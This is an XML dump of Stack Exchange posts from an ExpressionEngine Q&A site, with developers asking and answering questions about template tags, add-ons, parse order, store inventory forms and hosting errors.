  <row Id="18711" PostTypeId="1" CreationDate="2014-01-24T06:34:12.840" Score="0" ViewCount="113" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;about&quot;}&#xA;{exp:stash:set name=&quot;page_meta_description&quot;}{about_meta_description}{/exp:stash:set}                &#xA;{exp:stash:set name=&quot;page_meta_keyword&quot;}{about_meta_keyword}{/exp:stash:set}&#xA;&#xA;{exp:stash:set_list name=&quot;about&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;{/exp:stash:set_list}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Possible set stash and set stash list with 1 channel entry tag? like mention above.&#xA;currently i seperate it to 2 entry tag, cause above one won't work.&lt;/p&gt;&#xA;" OwnerUserId="2256" LastActivityDate="2014-01-24T11:10:52.613" Title="stash {exp:stash:set} and {exp:stash:set_list}" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18712" PostTypeId="1" AcceptedAnswerId="18730" CreationDate="2014-01-24T07:17:11.753" Score="2" ViewCount="574" Body="&lt;p&gt;I'm creating a site with a moderation process that requires all new entries in a certain channel to be saved in draft status, and then an admin or editors will approve those entries and update the status to open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There could be tens or hundreds of entries to approve at a time. Even with the native batch editing feature you still have a click on the select box for each entry and change the status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I really need is something that would allow me to select each draft entry I want to publish and then use a bulk status change action to change them to &quot;open&quot; all at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an existing extension that can do this?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-26T21:45:28.510" Title="Is there an EE addon for bulk status change from the entry edit screen?" Tags="|status|bulk|batch-update|moderation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18713" PostTypeId="1" CreationDate="2014-01-24T07:48:16.953" Score="0" ViewCount="32" Body="&lt;p&gt;Is there a way to display debugging information for an embed tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't use the administrator template debugging feature since the page I put the embed tag into is only accessible to non-logged in users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with the tag is that its not showing for one installation and its showing for another installation which is a clone of the former.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-01-24T10:53:20.190" Title="Embed Error Debugging" Tags="|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18714" PostTypeId="1" CreationDate="2014-01-24T08:18:08.347" Score="1" ViewCount="711" Body="&lt;p&gt;We've just pushed a website on to a clients server... Sadly, he's chosen his own hosting and gone with Fasthosts, and Windows!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After activating PHP and MySQL on the server, we've hit two problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When it's in the root folder, it gives us a &lt;strong&gt;&quot;500 - Internal server error. There is a problem with the resource you are looking for, and it cannot be displayed.&quot;&lt;/strong&gt; error. No matter if we go to the front end or ExpressionEngine admin itself&lt;/li&gt;&#xA;&lt;li&gt;When it's in a sub-folder, we get a different error - &lt;strong&gt;&quot;The service is unavailable.&quot;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Would you say this is a hosting issue, or some settings we need to tweak? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've ran the Server Wizard and everything is marked as yes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything we coudl check to see whats going on? It's a shared host, so there is no logs on the server, or CP that I can see of!&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-02-28T11:49:49.950" Title="500 Server Error - FastHosts &amp; Windows" Tags="|hosting|error-500|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18715" PostTypeId="2" ParentId="18714" CreationDate="2014-01-24T09:22:48.410" Score="1" Body="&lt;p&gt;That sounds like it could be something to do with your htaccess file. Try removing bits from it and see if the site begins to (sort of) work. At least that will tell you where to look.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-01-24T09:22:48.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18716" PostTypeId="1" AcceptedAnswerId="18767" CreationDate="2014-01-24T09:35:23.643" Score="1" ViewCount="52" Body="&lt;p&gt;Using the EE first party wiki application. I am trying to call all categories in the sidebar of the Wiki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the sidebar just prints out the tags. It seems you can only grab the categories in the categories template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking that i am going to have to querie the DB directly to build the wiki menu system i want, but before i do has anybody else had any experience / thpoughts on this? &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-04-26T20:59:28.297" Title="ExpressionEngine Wiki - Show categories in sidebar" Tags="|wiki|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18717" PostTypeId="1" AcceptedAnswerId="18723" CreationDate="2014-01-24T09:48:02.843" Score="2" ViewCount="79" Body="&lt;p&gt;Here's the scenario: There's a store that has both a physical department and a web shop (expresso store). The thing is they both share the same inventory. So when someone buys something in the physical store, the inventory in the web shop doesn't match up anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to make a frontend interface that lists all products, and have the ability to update the stock by either increasing or decreasing it without having to log into the backend. The reasoning being that it's much more cumbersome to do in the backend, and you have to find the product, open it to edit the stock, then save it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it could be done in the frontend, the stock adjustment could be done on the same page as the listing of the products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2014-01-28T20:13:01.913" Title="Possible to update stock via template tags in frontend?" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18718" PostTypeId="2" ParentId="18713" CreationDate="2014-01-24T10:53:20.190" Score="1" Body="&lt;p&gt;Why not simply copy the content of the embed into another, stand-alone, template and visit that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are parameters passed to the embed then just hardcode values into your test template.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-01-24T10:53:20.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18719" PostTypeId="2" ParentId="18711" CreationDate="2014-01-24T11:10:52.613" Score="1" Body="&lt;p&gt;It's definitely possible, I do it all the time.  Can't really tell much from yor example though as you're not setting anything inside the list itself.  Can you post a more complete example?&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-01-24T11:10:52.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18720" PostTypeId="2" ParentId="18692" CreationDate="2014-01-24T11:29:46.233" Score="1" Body="&lt;p&gt;Looks like you need to ensure you have created your fields and connect them to the correct freeform &quot;form&quot; - in your case it'd be &quot;expert_request&quot;.&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2014-01-24T11:29:46.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18721" PostTypeId="1" CreationDate="2014-01-24T11:37:29.193" Score="2" ViewCount="1176" Body="&lt;p&gt;I'm in need of a way of searching by a relationship. Its not possible out of the box according to the docs, but is there a workaround?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;channel=&quot;products&quot;&#xA;{if get:service}search:product_service_name:url_title=&quot;{get:service}&quot;{/if}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Product Service Name being the relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2282" LastActivityDate="2014-01-24T21:25:09.493" Title="search:relationship field" Tags="|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18722" PostTypeId="1" AcceptedAnswerId="18724" CreationDate="2014-01-24T12:11:21.330" Score="0" ViewCount="77" Body="&lt;p&gt;I'm looking for a fieldtype that would open a basic image editor with option to Scale + Crop (maintaining proportions as option).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've reviewed Channel Images which would be OK, but I can't use it in tandem with Playa/Relationships so lose a level of complexity and depth that is very handy for big content sites. I also love how sturdy Matrix is and how quick it is for clients to understand/use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there one knocking about that works inside the control panel, as I'm keen not to have to persuade them that we'll automate it using a tool like CE:img.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-06-03T07:53:57.240" Title="Image Editing Fieldtype (Matrix/Grid compatible)" Tags="|matrix|fieldtype|image|editor|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18723" PostTypeId="2" ParentId="18717" CreationDate="2014-01-24T12:14:27.920" Score="1" Body="&lt;p&gt;Managed to solve this problem with exp:channel:form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jeremy: ah yes, sorry, my bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) First I used {exp:store:product} to get the product data as per usual&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Then, I used {exp:channel:form} to access the fields I wanted to edit (i simply inspected the fields in question from within the control panel, and matched the name=&quot;&quot; attribute of the fields I wanted to edit. The whole thing looks like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries&#xA;     channel=&quot;produkt&quot;&#xA;     category=&quot;{cat_id}&quot;&quot;&#xA;     status=&quot;promotert|open&quot;&#xA;    }&#xA;     {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;      {exp:channel:form&#xA;       channel=&quot;produkt&quot;&#xA;       entry_id=&quot;{entry_id}&quot;&#xA;       return=&quot;varelager&quot;&#xA;      }&#xA;&#xA;      &amp;lt;!-- Name of product --&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot;&amp;gt;&#xA;&#xA;      &amp;lt;!-- Stock qty --&amp;gt;&#xA;      &amp;lt;input type=&quot;number&quot; name=&quot;store_product_field[stock][0][stock_level]&quot; id=&quot;stock&quot; value=&quot;{total_stock}&quot; pattern=&quot;[0-9]*&quot;&amp;gt;&#xA;&#xA;      &amp;lt;input type=&quot;submit&quot; value=&quot;Save changes&quot;&amp;gt;&#xA;    {/exp:channel:form}&#xA;  {/exp:store:product}&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1525" LastEditorUserId="422" LastEditDate="2014-01-28T09:49:32.810" LastActivityDate="2014-01-28T09:49:32.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18724" PostTypeId="2" ParentId="18722" CreationDate="2014-01-24T12:29:54.583" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/photo-frame&quot; rel=&quot;nofollow&quot;&gt;Photo Frame&lt;/a&gt; from ObjectiveHTML sounds like it would do exactly what you want, and it does support Matrix. It's crazy powerful with an extensible feature set and Justin provides excellent support.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-24T12:29:54.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18725" PostTypeId="2" ParentId="18721" CreationDate="2014-01-24T12:31:32.370" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; is an add-on that makes search a lot more powerful and does provide filtering on relationship fields.  Might be worth a look.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-24T12:31:32.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18726" PostTypeId="2" ParentId="18704" CreationDate="2014-01-24T12:38:19.877" Score="1" Body="&lt;p&gt;If you decide to use one of the great members as entries add-ons (&lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;Safecracker Registration&lt;/a&gt;), which bridge the gab between the member module and channel entries, they provide a mechanism for you to access member data in regular templates (making it considerably easier to do whatever you need to do in terms of look and feel, etc.).  &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;Freemember&lt;/a&gt; does some of that unshackling as well, but I don't know that it uses channel entries for the member data at all.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-24T12:38:19.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18727" PostTypeId="1" AcceptedAnswerId="18751" CreationDate="2014-01-24T12:59:17.127" Score="3" ViewCount="251" Body="&lt;p&gt;I'm just starting to work with Store 2.x and wondering if it's possible for me to create an extension that updates the order status once the order is complete. I know I'm needing to use the 'store_order_complete_end' hook, but not sure how I can update the status at this point. Can somebody point me in the right direction? I'm basically wanting to update the status to one of 2 things depending on what products they are buying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="1634" LastActivityDate="2014-01-25T02:51:12.133" Title="Create an extension to update the status" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18728" PostTypeId="2" ParentId="18705" CreationDate="2014-01-24T13:02:33.897" Score="1" Body="&lt;p&gt;Yeah, the Grid-related hooks won't help you here. You probably want to look at either the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel/index.html#channel-entries-row&quot; rel=&quot;nofollow&quot;&gt;channel_entries_row&lt;/a&gt; hook (for access to the raw data after it's been queried), or the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/template/index.html#template-post-parse&quot; rel=&quot;nofollow&quot;&gt;template-post-parse &lt;/a&gt; hook (for access to the complete template after it's been parsed).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-01-26T22:56:55.910" LastActivityDate="2014-01-26T22:56:55.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18729" PostTypeId="2" ParentId="18727" CreationDate="2014-01-24T13:06:42.883" Score="3" Body="&lt;p&gt;If you do a &lt;code&gt;print_r($order)&lt;/code&gt; inside of your extension, you'll see what you have access to inside of the &lt;code&gt;$order&lt;/code&gt; object/array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then loop through the order items it contains and check for your products, then update the &lt;code&gt;exp_store_orders&lt;/code&gt; table with a new status for that order (I'm sure its &lt;code&gt;_order_id&lt;/code&gt; is contained in the &lt;code&gt;$order&lt;/code&gt; object as well).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-24T13:06:42.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18730" PostTypeId="2" ParentId="18712" CreationDate="2014-01-24T13:19:59.123" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://zenbustudio.com/software/zenbu&quot;&gt;http://zenbustudio.com/software/zenbu&lt;/a&gt; should work for you, it has the ability to change statuses for batches of entries&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-01-24T13:19:59.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18734" PostTypeId="2" ParentId="18699" CreationDate="2014-01-24T15:20:07.890" Score="0" Body="&lt;p&gt;Be sure to use up to date and plain Bootstrap, no LESS version or use Eeless &lt;a href=&quot;http://devot-ee.com/add-ons/eeless&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/eeless&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-01-24T15:20:07.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18735" PostTypeId="2" ParentId="18639" CreationDate="2014-01-24T15:26:53.823" Score="2" Body="&lt;p&gt;You cannot attach a file to a notification email unless the file is uploaded along with the form being filled (I recommend submitting this as a Feature Request here: &lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;). Usually the best you can do is have a link in your notification email template pointing to your file which users can then download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an image file, however, you might have one more option. You will need to enable HTML for your notification email template in Freeform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Freeform 4.x, EE tags can be used in the notification email template body, which means you should be able to retrieve your coupon data from your entry channel. Along with HTML enabled for the entry, you could create an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag in your email body, which should display your coupon to the email recipient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example. I'll assume, for demonstration purposes, that your channel is called &quot;&lt;code&gt;coupons&lt;/code&gt;&quot; and that your entry_id containing the coupon is &quot;&lt;code&gt;123&lt;/code&gt;&quot;. The coupon File custom field would be called &lt;code&gt;{cf_coupon_image}&lt;/code&gt; in this example. In your email notification template body, you could do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;coupons&quot; entry_id=&quot;123&quot; dynamic=&quot;no&quot;}&#xA;     &amp;lt;img src=&quot;{cf_coupon_image}&quot; /&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If HTML is enabled, and your recipient can view HTML emails, the email body should contain an image of your coupon :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only catch: the image is still coming from your site. If you change that image in your entry &lt;em&gt;and the filename does not change&lt;/em&gt;, this will change the image for the recipient of the email as well.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-01-27T15:03:22.297" LastActivityDate="2014-01-27T15:03:22.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18737" PostTypeId="2" ParentId="18490" CreationDate="2014-01-24T16:45:40.307" Score="3" Body="&lt;p&gt;This is a tag parse order problem, and it arises because you are (if I understand you correctly) setting your 'page_title' variable in the view template (the embed) - and trying to access it in the same template. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;&quot;}&#xA;    {sn-home-data}&#xA;  {/case}&#xA;  {case default=&quot;yes&quot;}&#xA;    {sn-page-data}&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&#xA;{exp:stash:page_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Module tags are parsed outwards &gt; and parse=&quot;inward&quot; makes Switchee behave like a module tag, therefore the parse order is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Switchee parsed, returns the unparsed content of &lt;code&gt;{sn-home-data}&lt;/code&gt; or &lt;code&gt;{sn-page-data}&lt;/code&gt; to the template, depending on the value of &lt;code&gt;{segment_1}&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;{exp:stash:page_title}&lt;/code&gt; is parsed. It returns nothing, because the variable doesn't exist yet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now either &lt;code&gt;{sn-home-data}&lt;/code&gt; or &lt;code&gt;{sn-page-data}&lt;/code&gt; are parsed and the value of &lt;code&gt;{exp:stash:page_title}&lt;/code&gt; is set.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So why does removing parse=&quot;inward&quot; from Switchee work? Because Switchee is a plugin tag, which are parsed last, after any module tags they wrap (effectively inwards &gt; outwards&quot;). Thus both &lt;code&gt;{sn-home-data}&lt;/code&gt; or &lt;code&gt;{sn-page-data}&lt;/code&gt; would be parsed in step 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest solution to this problem is to move your Switchee expression to the parent template. It has no business being in a view template in any case, since you should really be trying to decouple your view and from the model/presentational logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to do that then you can subvert parse order with the process parameter like so, to move the Stash get tag to the end of parsing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;&quot;}&#xA;    {sn-home-data}&#xA;  {/case}&#xA;  {case default=&quot;yes&quot;}&#xA;    {sn-page-data}&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&#xA;{exp:stash:get name=&quot;page_title&quot; process=&quot;end&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-01-24T16:45:40.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18738" PostTypeId="1" AcceptedAnswerId="18739" CreationDate="2014-01-24T17:25:26.310" Score="0" ViewCount="41" Body="&lt;p&gt;Kind of noob question for EE but is it possible to have multiple channel entry fields per row on a channel (publish/edit) back end? I'm at the point of adding channel fields where are numbers only and came kind of &quot;messy&quot; on publish/edit page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-01-24T17:30:19.797" Title="Multiple channel entry fields per row on publish/edit page" Tags="|channel-entries|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18739" PostTypeId="2" ParentId="18738" CreationDate="2014-01-24T17:30:19.797" Score="3" Body="&lt;p&gt;Yes, use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/publish_page_layouts.html&quot; rel=&quot;nofollow&quot;&gt;Publish Layouts&lt;/a&gt; feature. You can drag and drop fields into place and adjust their widths as you please.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-01-24T17:30:19.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18740" PostTypeId="2" ParentId="18663" CreationDate="2014-01-24T17:54:39.540" Score="1" Body="&lt;p&gt;When there are multiple categories, &lt;code&gt;{super_search_category}&lt;/code&gt; will display the entire category string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, if you have &lt;strong&gt;search&amp;amp;category=auckland+photo&lt;/strong&gt;, then &lt;code&gt;{super_search_category}&lt;/code&gt; will parse to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;auckland+photo&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;or, in some setups/EE installations,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;auckland photo&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To use the individual selections for something, you'll need to break up this string. You can do this with PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, turn on PHP for your template and set it to &lt;strong&gt;Output&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, break up the string into an array of individual categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $cats = explode(&quot; &quot;, '{super_search_category}'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Note&lt;/strong&gt;: in some cases, you might need to change &lt;code&gt;&quot; &quot;&lt;/code&gt; to &lt;code&gt;&quot;+&quot;&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, loop through each category in the array and use a conditional to check if there's a match with your &lt;code&gt;{category_url_title}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach($cats as $cat) :?&amp;gt;&#xA;    &amp;lt;?php if($cat == '{category_url_title}') :?&amp;gt;&#xA;        selected=&quot;selected&quot;&#xA;    &amp;lt;?php endif ?&amp;gt;&#xA;&amp;lt;?php endforeach ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The other approach, using &lt;code&gt;{if super_search_category_{category_url_title}}selected=&quot;selected&quot;{/if}&lt;/code&gt;, was close, but there is indeed a parsing issue. If you want to go down that strategy path, you might need embeds and pass in the {category_url_title} variable, so that {embed:my_variable} parses before the conditional. However, you'll have a much bigger performance hit. The only other option would be to hand-code the values for each {category_url_title} in {super_search_category_my_category}, but that's not very dynamic.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-01-25T04:34:21.727" LastActivityDate="2014-01-25T04:34:21.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18741" PostTypeId="1" AcceptedAnswerId="18748" CreationDate="2014-01-24T18:44:06.147" Score="0" ViewCount="965" Body="&lt;p&gt;Can a single sign-on solution be used to share credentials between ExpressionEngine and LDAP/Active Directory?&lt;/p&gt;&#xA;" OwnerUserId="962" LastEditorUserId="962" LastEditDate="2014-01-24T21:54:09.317" LastActivityDate="2014-01-26T23:08:31.387" Title="Single sign-on solutions for ExpressionEngine in enterprise using LDAP / Active Directory" Tags="|ee2|authentication|single-sign-on|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18742" PostTypeId="1" AcceptedAnswerId="18749" CreationDate="2014-01-24T19:33:23.820" Score="1" ViewCount="40" Body="&lt;p&gt;How do you display content by member type?&lt;/p&gt;&#xA;" OwnerUserId="962" LastEditorUserId="962" LastEditDate="2014-01-24T21:56:36.297" LastActivityDate="2014-01-24T22:09:48.807" Title="Display content customized by member type?" Tags="|ee2|members|content|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18743" PostTypeId="1" CreationDate="2014-01-24T19:41:45.803" Score="1" ViewCount="62" Body="&lt;p&gt;I have a Russian website where in the head section I wrote:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;ru&quot;&amp;gt;&#xA;&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Simple Commerse template I have included &lt;code&gt;country_code=&quot;RU&quot;&lt;/code&gt;  parameter but in PayPal page the titles turn into question marks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me what I am missing here?&lt;/p&gt;&#xA;" OwnerUserId="2567" LastEditorUserId="55" LastEditDate="2014-01-24T20:40:37.993" LastActivityDate="2014-01-24T20:40:37.993" Title="Simple Commerce cyrillic characters turned in question marks in PayPal" Tags="|paypal|character-encoding|simple-commerce|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18744" PostTypeId="1" CreationDate="2014-01-24T20:19:16.930" Score="2" ViewCount="205" Body="&lt;p&gt;When logged into the Admin of Expression Engine, and then visiting the front of the site, sometimes the URL contains an S followed by lots of characters, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mydomain.com/S=12a33f9e958c5a998383ba60cd1539210d1fb668/my-page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I recently found out Google has indexed a page on my site containing this URL and I wondered if anyone knows why, as this is obviously quite bad. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed User Session Type was set to Session, so I changed that to Cookies, but I am just concerned about how Google indexed it with the session ID. &lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2014-07-08T08:12:18.017" Title="Google Indexed URL Containing S= and Random Characters" Tags="|url|google|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18745" PostTypeId="2" ParentId="18721" CreationDate="2014-01-24T21:25:09.493" Score="1" Body="&lt;p&gt;Assuming you're using EE 2.6 or newer, you should be able to do this without using the &lt;code&gt;search=&quot;&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's you're really looking for is the parent entries (those with the relationship field and have the target entry selected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#accessing-parents&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, you can access parents like this. (Slightly modified for your situation)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries url_title=&quot;{get:service}&quot; dynamic=&quot;no&quot;}&#xA;        {parents field=&quot;product_service_name&quot;}&#xA;                {!-- Do whatever you need to do in here --}&#xA;        {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" 